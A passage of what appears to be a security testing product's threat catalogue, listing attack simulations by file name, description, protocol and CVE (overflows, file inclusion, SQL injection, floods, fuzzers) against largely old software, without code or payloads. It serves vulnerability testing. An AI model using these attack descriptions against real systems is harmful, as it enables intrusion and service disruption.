Detailed Description:	This threat sends a malformed authenticate request to the IMAP daemon of ALT-N's MDAemon software package. It causes the application to stop responding to IMAP requests. IMAP servers typically listen on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2004-2292
OSVDB:	19036
Threat Package:	Standard
Threat File Name:	peercast_IPv6.xml
Executive Description:	Peercast URL Format String Attack (IPv6 Version)
Detailed Description:	This threat attacks the Peercast streaming server with a format string attack. This attack causes the application to bind a shell on port 4444. Peercast is a HTTP based application that typically listens on port 7144. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1806
OSVDB:	16906
Threat Package:	Standard
Threat File Name:	stplood.xml
Executive Description:	Spanning Tree Protocol Flood
Detailed Description:	This is an attempt to confuse routers and switches by flooding them with false spanning tree protocol packets.
Protocol Type:	STP
CVEID:	CVE-2003-0550
OSVDB:	10294
Threat Package:	Standard
Threat File Name:	TSL20110614-34_Microsoft_Internet_Explorer_selection_empty_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer selection.empty Use After Free
Detailed Description:	A User-After-Free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to improper handling of the selection.empty script expression. Remote attackers can exploit this vulnerability by enticing target users to open a malicious web page using Internet Explorer, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code. If such an attack is not successful, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1261
Threat File Name:	openi-cms_rfi.xml
Executive Description:	Openi CMS plugins (site protection) remote file inclusion vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Openi CMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0881
Threat Package:	Standard
Threat File Name:	voodoochat_rfi.xml
Executive Description:	VoodooChat File_Path Parameter Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. VoodooChat is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	realplayer_activex_dos_IPv6.xml

Executive Description:	RealNetworks RealPlayer ActiveX Control Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in RealPlayer ActiveX control trigger denial-of-service conditions in Internet Explorer and RealPlayer when accessed from a malicious webserver listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	ask_rave_rfi_IPv6.xml
Executive Description:	Ask_Rave Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Ask_Rave is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5621
Threat Package:	Standard
Threat File Name:	TSL20110721-06_Oracle_Outside_In_CorelDRAW_File_Parser_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In CorelDRAW File Parser Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling CorelDRAW (.cdr) files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed .cdr file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-2264
Threat File Name:	snort_tcpop_dos.xml
Executive Description:	Snort TCP Options Denial of Service
Detailed Description:	This threat sends out a TCP packet with the options set to 0600ffff, which is known to cause Snort to crash when running from a command line.
Protocol Type:	TCP
CVEID:	CVE-2003-0209
OSVDB:	4444
Threat Package:	Standard
Threat File Name:	FSC20090609-35_Microsoft_Office_Word_Malformed_File_Processing_Buffer_Overflow.xml
Executive Description:	Microsoft Office Word Malformed File Processing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Word while processing Word 6 files. This vulnerability is due to a specially crafted Sprm record. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Word file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0565
Threat Package:	Standard
Threat File Name:	tftpd32_fs.xml
Executive Description:	Tftpd32 Format String Vulnerability
Detailed Description:	This threat sends a malicious TFTP GET request containing a format string which causes a spurious write ending in a crash. Tftpd32 is a TFTP daemon which typically listens on port 69
Protocol Type:	TFTP
Threat File Name:	ms05-038_oom_dos.xml
Executive Description:	Internet Explorer JPEG Image Corruption oom_dos
Detailed Description:	This threat causes a crash in Internet Explorer. It is caused by downloading a corrupt JPEG file, typically from a webserver. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1988
OSVDB:	18610
Threat Package:	Standard
Threat File Name:	fuzz-IP_TypeofService.xml
Executive Description:	Fuzzer for Protocol:IP and Field:TypeofService
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	FSC20080117-04_Citrix_Systems_Multiple_Products_IMA_Service_Buffer_Overflow_IPv6.xml
Executive Description:	Citrix Systems Multiple Products IMA Service Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Independent Management Architecture (IMA) service in Citrix products. The flaw is due to improper handling of user supplied data sent the the Citrix Presentation Server. This issue can be exploited by an unauthenticated attacker to execute arbitrary code with the privileges of Citrix Presentation Server service, which is System by default. (IPv6 Version)
Protocol Type:	Citrix/IPv6
CVEID:	CVE-2008-0356
Threat Package:	Standard
Threat File Name:	ms_office_help_activex_dos.xml
Executive Description:	Microsoft Office 2000 Controllro UA di Microsoft Office (OUACTRL.OCX v. 1.0.1.9) "HelpPopup" method Remote Buffer Overflow and winhlp32.exe Denial of Service
Detailed Description:	This threat downloads a malicious web page which triggers a denial of service in the Microsoft Office via its HelpPopup ActiveX method. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP

Threat Package:	Standard
Threat File Name:	htrChunked.xml
Executive Description:	MS02-028 HTR Chunked Attack
Detailed Description:	This threat sends a 'chunked' HTTP message to Microsoft Internet Information Services. This vulnerability is different than the ASP vulnerability, as it attacks the .htr extension parsing portion of IIS.
Protocol Type:	HTTP
CVEID:	CVE-2002-0364
OSVDB:	5316
Threat Package:	Standard
Threat File Name:	FSC20090324-04_Microsoft_Windows_GDIplus_GpFont.SetData_Integer_Overflow.xml
Executive Description:	Microsoft Windows GDIplus GpFont.SetData Integer Overflow
Detailed Description:	A vulnerability has been reported in Microsoft Windows Graphics Device Interface (GDI). The problem is caused by improper handling the length of EmfPlusFont in EMF files. Remote attackers can exploit this vulnerability by enticing target users to open a specially crafted EMF file. Triggering this vulnerability would result in termination of the affected application. Note that even though the severity of this vulnerability is scored as HIGH due to the public availability of an exploit and broad deployment of the affected products, our research shows it as being NOT exploitable for code execution.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
Threat Package:	Standard
Threat File Name:	gifDos.xml
Executive Description:	GIF Denial Of Service
Detailed Description:	This threat sends a maliciously formed GIF file from the reflector port, as the response to a HTTP GET request. This specially formatted GIF file has crashed certain programs, including some image manipulation programs and AOL Instant Messenger. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1891
OSVDB:	17220
Threat Package:	Standard
Threat File Name:	firefoxKeystroke.xml
Executive Description:	Firefox Keystroke Capturing
Detailed Description:	This threat sends a malicious webpage from the virtual server. It allows the attacker to collect user keystrokes and filter out a specific string to be used to steal files off of a harddisk. Webservers typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2894
Threat Package:	Standard
Threat File Name:	InternetExplorerObject_IPv6.xml
Executive Description:	Internet Explorer Nested Object Tag Crash (IPv6 Version)
Detailed Description:	This threat causes a memory access violation in Internet Explorer. It is caused by nesting multiple OBJECT tags inside of each other in a malicious web page. This attack might potentially be able to execute code in the browser. This attack comes from a malicious website, which typically listens on port 80. This attack comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	SNMPprobe_IPv6.xml
Executive Description:	SNMP Probe OID: 2 (IPv6 Version)
Detailed Description:	This threat sends an SNMP get-next request with a OID of 2. May indicate that someone is trying to glean as much information possible from the system by requesting such a large dataset. (IPv6 Version)
Protocol Type:	SNMP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170111-10_Adobe_Acrobat_and_Reader_JPEG2000_Out_of_Bounds_Read_IPv6.xml
Executive Description:	Adobe Acrobat and Reader JPEG2000 Out of Bounds Read (IPv6 Version)
Detailed Description:	An out-of-bounds read vulnerability has been reported in Adobe Acrobat and Reader. The vulnerability is due to improper validation of embedded JPEG2000 images in a PDF document. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted webpage or a maliciously crafted PDF document. Successful exploitation would allow the attacker to gain sensitive information that may help in further attacks.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPv6
CVEID:	CVE-2017-2946
Threat File Name:	FSC20090430-02_Symantec_Alert_Management_System_Intel_Alert_Originator_Service_Buffer_Overflow.xml
Executive Description:	Symantec Alert Management System Intel Alert Originator Service Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Symantec Alert Originator Service component shipped with Symantec Client Security software. The vulnerability is due to a boundary error in iao.exe while copying user-provided data into memory. This can be exploited by remote unauthenticated attackers to inject and execute arbitrary code on the target host. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process, which is SYSTEM on Windows platform. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	Proprietary Protocol
CVEID:	CVE-2009-1430
Threat Package:	Standard
Threat File Name:	FSC20070510-01_CA_Multiple_Products_Console_Server_Login_Credentials_Handling_Buffer_Overflow.xml
Executive Description:	CA Multiple Products Console Server Login Credentials Handling Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in the Console Server shipped with multiple CA products. The vulnerability can be triggered by submitting overly long username or password to the authentication process. A remote unauthenticated attacker may leverage this flaw to inject and execute arbitrary code on the target system with the privileges of the affected service, which is System on Windows platforms.

Protocol Type:	TCP
CVEID:	CVE-2007-2522
Threat Package:	Standard
Threat File Name:	tftpdwin_bof_IPv6.xml
Executive Description:	TFTPDWIN 0.4.2 Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a stack-based buffer overflow in TFTPDWIN 0.4.2 and earlier that allows for execution of arbitrary code or DoS via a long file name. TFTPDWIN is a tftp server that typically listens on udp port 69. (IPv6 Version)
Protocol Type:	TFTP/IPv6
CVEID:	CVE-2006-4948
OSVDB:	29032
Threat Package:	Standard
Threat File Name:	FSC20080911-11_Microsoft_SQL_Server_2000_Client_Components_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Microsoft SQL Server 2000 Client Components ActiveX Control Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft SQL Server 2000 Client Components ActiveX Control sqlvdir.dll. The vulnerability is due to a boundary error while handling parameters passed to the Connect method. A remote attacker could exploit the vulnerability by enticing the target user to open a malicious HTML document. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer will terminate abnormally due to memory corruption.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-4110
Threat Package:	Standard
Threat File Name:	FSC20070626-18_RealNetworks_Multiple_Products_SMIL_Wallclock_Stack_Overflow.xml
Executive Description:	RealNetworks Multiple Products SMIL Wallclock Stack Overflow
Detailed Description:	A buffer overflow vulnerability exists in multiple multimedia products by RealNetworks. The vulnerability is due to the way RealPlayer and Helix Player products parse a specific time format in Synchronized Multimedia Integration Language (SMIL) data. A remote attacker can exploit this vulnerability by convincing the target user to visit a malicious website or open a crafted file. Successful exploitation can allow execution of arbitrary code in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3410
Threat Package:	Standard
Threat File Name:	FSC20091022-02 EMC_RepliStor_rep_srv_and_ctrlservice_Denial_of_Service.xml
Executive Description:	EMC RepliStor rep_srv and ctrlservice Denial of Service
Detailed Description:	A denial of service vulnerability exists in EMC RepliStor. The vulnerability is due to an input validation error while parsing a specially crafted packet sent to rep_srv.exe and ctrlservice.exe services. Remote unauthenticated attackers can exploit this vulnerability by sending a malicious packet to the services on ports 7144/TCP and 7145/TCP. Successful exploitation of this vulnerability would abnormally terminate the targeted service and cause a denial of service condition.
Protocol Type:	EMC RepliStor
CVEID:	CVE-2009-3744
Threat Package:	Standard
Threat File Name:	TSL20170104-06_LibVNCServer_LibVNCClient_FramebufferUpdate_Rectangle_Heap_Buffer_Overflow.xml
Executive Description:	LibVNCServer LibVNCClient FramebufferUpdate Rectangle Heap Buffer Overflow
Detailed Description:	A heap-based buffer overflow has been reported in LibVNCServer LibVNCClient. The vulnerability is due to improper handling of FramebufferUpdate messages with specially crafted rectangles. A remote attacker could exploit this vulnerability by enticing a user to connect to a malicious VNC server and sending a crafted FramebufferUpdate message to a vulnerable target client. Successful exploitation of this vulnerability could result in arbitrary code execution within the context of the application.
Protocol Type:	RFB
CVEID:	CVE-2016-9941
Threat File Name:	WinXPdos.xml
Executive Description:	Windows XP UDP Flood DoS
Detailed Description:	This threat takes advantage of a vulnerability in Microsoft Windows XP. By default, UDP port 500 is accessible. Sending a large volume of traffic to that port will exhaust all CPU resources causing a denial of service for other remote users and locking up the machine for the local user.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	eastwindsoftware_activex_bof_IPv6.xml
Executive Description:	East Wind Software ADVDAUDIO ActiveX Control OpenDVD Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in IncrediMail ActiveX control trigger denial-of-service conditions in Internet Explorer when accessed from a malicious webserver listening on port 80. This threat leverages a flaw in East Wind Software's ActiveX control trigger arbitrary code execution in Internet Explorer when accessed from a malicious webserver listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20131112-13_Microsoft_Office_WordPerfect_File_Processing_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office WordPerfect File Processing Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to improper handling of structures when parsing a specially crafted WordPerfect document. Remote, unauthenticated attackers could exploit this vulnerability by enticing a target user to open a specially crafted .wpd file. Successful exploitation allows the attacker to execute arbitrary code, or terminate the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6

CVEID:	CVE-2013-1324
OSVDB:	99651
Threat File Name:	rsgallery_cmi.xml
Executive Description:	RsGallery2 1.11.2 (rsgallery.html.php) File Include Vulnerability
Detailed Description:	This threat sends a crafted HTTP GET query containing a url to a file to be included in the returned page via the rsgallery.html.php "mosConfig.absolute_path" parameter. RsGallery2 is a web based application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170330-02_HPE_Intelligent_Management_Center_FileDownloadServlet_filePath_Information_Disclosure_IPv6.xml
Executive Description:	HPE Intelligent Management Center FileDownloadServlet filePath Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability has been reported in the Service Operation Manager Module of HPE Intelligent Management Center. The vulnerability is due to errors in handling filePath in FileDownloadServlet. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to the target system. Successful exploitation could allow an attacker to disclose sensitive information under the context of SYSTEM from the target host.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-5797
Threat File Name:	FSC20101012-09_Microsoft_Internet_Explorer_and_SharePoint_Services_HTML_Sanitization_Cross-Site_Scripting.xml
Executive Description:	Microsoft Internet Explorer and SharePoint Services HTML Sanitization Cross-Site Scripting
Detailed Description:	An information disclosure vulnerability exists in Microsoft Windows Internet Explorer and SharePoint Server products. The flaw is due to the way that the SafeHTML function sanitizes HTML. An attacker who successfully exploited this vulnerability could perform cross-site scripting attacks and run script in the context that is associated with a trusted server
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3324
Threat File Name:	BGPupdateFlood.xml
Executive Description:	BGP Update Flood
Detailed Description:	This is a flood of the Border Gateway Protocol's update message. This attack will misinform routers. BGP typically uses TCP port 179.
Protocol Type:	BGP
Threat Package:	Standard
Threat File Name:	opera_jpeg_rheap_IPv6.xml
Executive Description:	Opera <= 9.10 JPG Image DHT Marker Heap Corruption Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious jpeg file as its payload, sent to a vulnerable Opera web browser will result in execution of code and/or crashing. Opera is a web browser that typically connects to web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0126
OSVDB:	31574
Threat Package:	Standard
Threat File Name:	FSC20060711-22_Microsoft_Office_File_Malformed_String_Parsing_Buffer_Overflow.xml
Executive Description:	Microsoft Office File Malformed String Parsing Buffer Overflow
Detailed Description:	There exists a memory corruption vulnerability in several Microsoft Office applications. The flaw is caused by insufficient validation when handling malformed strings in Office Document files, resulting in an buffer overflow. An attacker can leverage this vulnerability by enticing a user to open a crafted Office Document. A successful attack can lead to the injection and execution arbitrary code within the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1540
Threat Package:	Standard
Threat File Name:	bashGetRootFlood_IPv6.xml
Executive Description:	Bash Get Root Flood (IPv6 Version)
Detailed Description:	This threat floods a user specified target with TCP PSH/ACK packets from a user specified source IP address containing the instructions '/bin/bash' in the first packet and 'execve' in the second sequential packet. These instructions will be present when a remote user injects shellcode in an attempt to obtain root privileges. This attack may be enhanced by randomizing the source IP address. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	zenturi_remote_overwrite_IPv6.xml
Executive Description:	Zenturi ProgramChecker SASATL.DLL ActiveX File Download/Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in the Zenturi ProgramChecker ActiveX application, that results in the overwriting of arbitrary files. This threat is delivered via a malicious web page, accessible via port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	macrovision_isuswebdll_activex_bof_IPv6.xml
Executive Description:	Macrovision Installshield isusweb.dll Remote Code Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Macrovision Installshield isusweb.dll ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5660
Threat Package:	Standard
Threat File Name:	easyftp_pass_bof.xml

Executive Description:	Easy File Sharing FTP PASS Command Server Buffer Overflow Vulnerability
Detailed Description:	This threat exploits a flaw in Easy File Sharing FTP via the PASS command causing a denial of service condition in the affected server and possibly a buffer overflow condition to execute arbitrary commands on behalf of a malicious user. Easy File Sharing FTP Server is an FTP application that typically listens on TCP port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-3952
Threat Package:	Standard
Threat File Name:	fuzz-IP_MF.xml
Executive Description:	Fuzzer for Protocol:IP and Field:MF
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	invision_sqlInject.xml
Executive Description:	Invision Power Board SQL Injection
Detailed Description:	This threat attempts to retrieve a password for the userid 0. This can be used to steal administrative passwords in order to gain control of the application. This application is typically run through a webserver listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2004-1531
OSVDB:	11929
Threat Package:	Standard
Threat File Name:	FSC20100326-07_Apple_Safari_Right-to-Left_Text_Rendering_Use_After_Free_Vulnerability.xml
Executive Description:	Apple Safari Right-to-Left Text Rendering Use After Free Vulnerability
Detailed Description:	A memory corruption vulnerability exists in Apple Safari. The vulnerability is due to a use-after-free error when handling HTML elements containing right-to-left displayed text. Remote attackers can exploit this vulnerability to execute arbitrary code on the target machine by enticing a user into opening a specially crafted HTML document. In attack scenarios where code execution is successful, the behavior of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0049
Threat Package:	Standard
Threat File Name:	TSL20121113-06_Microsoft_Windows_TrueType_Font_Parsing_Code_Execution.xml
Executive Description:	Microsoft Windows TrueType Font Parsing Code Execution
Detailed Description:	A code execution vulnerability has been reported in Microsoft Windows. The vulnerability is due to Windows improperly handling objects in memory when parsing crafted TrueType fonts. A remote attacker can exploit this vulnerability to execute arbitrary code with kernel permissions
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-2897
OSVDB:	85749
Threat File Name:	FSC20060403-15_McAfee_WebShield_Smtp_Bounce_Message_Format_String_Vulnerability.xml
Executive Description:	McAfee WebShield SMTP Bounce Message Format String Vulnerability
Detailed Description:	There exists a format string vulnerability in the SMTP virus scanning software, McAfee WebShield SMTP. The vulnerability is caused due to improper sanitation of non-existent domain names when generating a bounce message. An unauthenticated attacker may leverage the vulnerability to inject and execute arbitrary code in the context of the running service, normally System.
Protocol Type:	SMTP
CVEID:	CVE-2006-0559
Threat Package:	Standard
Threat File Name:	wuftpd_globbing_dos_IPv6.xml
Executive Description:	WU-FTP File Globbing DOS (IPv6 Version)
Detailed Description:	This threat causes resource starvation in the WU-FTPD daemon. This is done by sending a LIST request for a long wildcard filename. WU-FTPD is a FTP daemon, and typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2005-0256
OSVDB:	14203
Threat Package:	Standard
Threat File Name:	TSL20130417-18_Oracle_Java_Web_Start_ActiveX_Control_launchApp_Memory_Access_Error_IPv6.xml
Executive Description:	Oracle Java Web Start ActiveX Control launchApp Memory Access Error(IPV6 version)
Detailed Description:	A code execution vulnerability has been reported in Oracle Java Web Start. The vulnerability is due to memory corruption in javaws.exe, a helper application executed from the launchApp() method of the JWS ActiveX control. An attacker can exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation of this vulnerability can crash the vulnerable application creating a denial-of-service condition and could possibly be exploited to execute malicious code.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2013-2416
OSVDB:	92337
Threat File Name:	complete_php_counter_sql_i_IPv6.xml
Executive Description:	Complete PHP Counter SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. Complete PHP Counter is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4674
OSVDB:	20085

Threat File Name:	fuzz-HTTP_ReplicatePinHTTP.xml
Executive Description:	Fuzzes HTTP-Version with HTTPPPPP/1.1
Detailed Description:	Fuzzes HTTP-Version field by replicating the letter P in HTTP/1.1 between 0 and 1024 times.
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20080212-13_Microsoft_Internet_Explorer_ANIMATEMOTION_Properties_Assignment_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer ANIMATEMOTION Properties Assignment Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain property of a ANIMATEMOTION object. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2008-0077
Threat Package:	Standard
Threat File Name:	TSL20150408-04_Novell_ZENworks_Configuration_Management_UploadServlet_Directory_Traversal.xml
Executive Description:	Novell ZENworks Configuration Management UploadServlet Directory Traversal.
Detailed Description:	A directory traversal vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's UploadServlet. Remote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with administrative privileges.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0779
Threat File Name:	TSL20111107-01_Oracle_Hyperion_Strategic_Finance_Client_TTF16_ActiveX_SetDevNames_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Hyperion Strategic Finance Client TTF16 ActiveX SetDevNames Heap Buffer Overflow(IPV6 VERSION)
Detailed Description:	A heap buffer overflow exists in Oracle Hyperion Strategic Finance Client. The vulnerability is due to a boundary error in the SetDevNames() method of the Tidestone Formula One Workbook TTF16.ocx ActiveX control. This can be exploited to inject and execute arbitrary code in the context of the currently logged-on user. A remote attacker could exploit this vulnerability to achieve arbitrary code execution by enticing a target user to open a crafted web page.
Protocol Type:	IPV6,HTTP,HTTPS
Threat File Name:	TSL20141209-16_Microsoft_Windows_Graphics_Component_Information_Disclosure.xml
Executive Description:	Microsoft Windows Graphics Component Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Microsoft Windows. The vulnerability is due to a design weakness in the Windows graphics component when handling a JPEG file. Successful exploitation could result in information disclosure with the privileges of the currently logged in user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS
CVEID:	CVE-2014-6355
OSVDB:	113201
Threat File Name:	TSL20170309-01_HPE_LoadRunner_and_Performance_Center_libxdrutil.dll_mxdr_string_Heap_Buffer_Overflow.xml
Executive Description:	HPE LoadRunner and Performance Center libxdrutil.dll mxdr_string Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in HP LoadRunner and Performance Center. The vulnerability is due to insufficient validation of the length of XDR encoded string. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable version of the software. Successful exploitation could result in execution of arbitrary code within the context of SYSTEM. Unsuccessful attempts can cause a denial-of-service condition.
Protocol Type:	HP LoadRunner Agent Protocol
CVEID:	CVE-2017-5789
Threat File Name:	sphpBlog_password.xml
Executive Description:	Simple PHP Blog Password File Download
Detailed Description:	This threat attempts to download the password configuration file stored in an accessible directory by Simple PHP Blog. Allows an attacker to gain administrative access to the blogging application. This threat affects a web application, which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2192
OSVDB:	17779
Threat Package:	Standard
Threat File Name:	TSL20120508-20_Microsoft_Office_GDIplus_EMF_File_Handling_Infinite_Loop.xml
Executive Description:	Microsoft Office GDIplus EMF File Handling Infinite Loop
Detailed Description:	A memory corruption vulnerability exists Microsoft Windows Graphics Device Interface (GDI+). The vulnerability is due to improper sanitization while handling EMF data embedded in Office files. A remote, unauthenticated attacker could exploit this vulnerability by enticing a user to open or view a specially crafted Microsoft Office file. Successful exploitation could result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0167
OSVDB:	81719
Threat File Name:	FSC20071023-19_IBM_Lotus_Notes_DOC_Attachment_Viewer_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Notes DOC Attachment Viewer Buffer Overflow (IPv6 Version)

Detailed Description:	A stack buffer overflow vulnerability exists in the way IBM Lotus Notes Attachment Viewer processes files. The vulnerability is a result of insufficient boundary checking while processing the Microsoft Word for DOS Document. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Word for DOS file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2007-5544
Threat Package:	Standard
Threat File Name:	sun_jre_dnsResolve_bof_IPv6.xml
Executive Description:	Sun jre1.6.0_X isInstalled.dnsResolve ActiveX Control Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Sun (jre1.6.0_X) isInstalled.dnsResolve function with an ActiveX Control, resulting in the execution of arbitrary code or denial of service. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5019
Threat Package:	Standard
Threat File Name:	TSL20140415-02_Adobe_Reader_Mobile_JavaScript_Interface_Java_Code_Execution_IPv6.xml
Executive Description:	Adobe Reader Mobile JavaScript Interface Java Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability exist in Adobe Mobile Reader for Android. The vulnerability is due to a failure to restrict access to certain JavaScript interfaces which could be used to achieve Java code execution via Reflection API. A remote unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted document. A successful attack could result in the execution of arbitrary Java code in the security context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,IPv6
CVEID:	CVE-2014-0514
OSVDB:	105781
Threat File Name:	guestbook_xss_c.xml
Executive Description:	Toms Guestebuch 1.00
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Toms Guestebuch is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	sipbadrequesturi_IPv6.xml
Executive Description:	SIP Bad Request-URI (IPv6 Version)
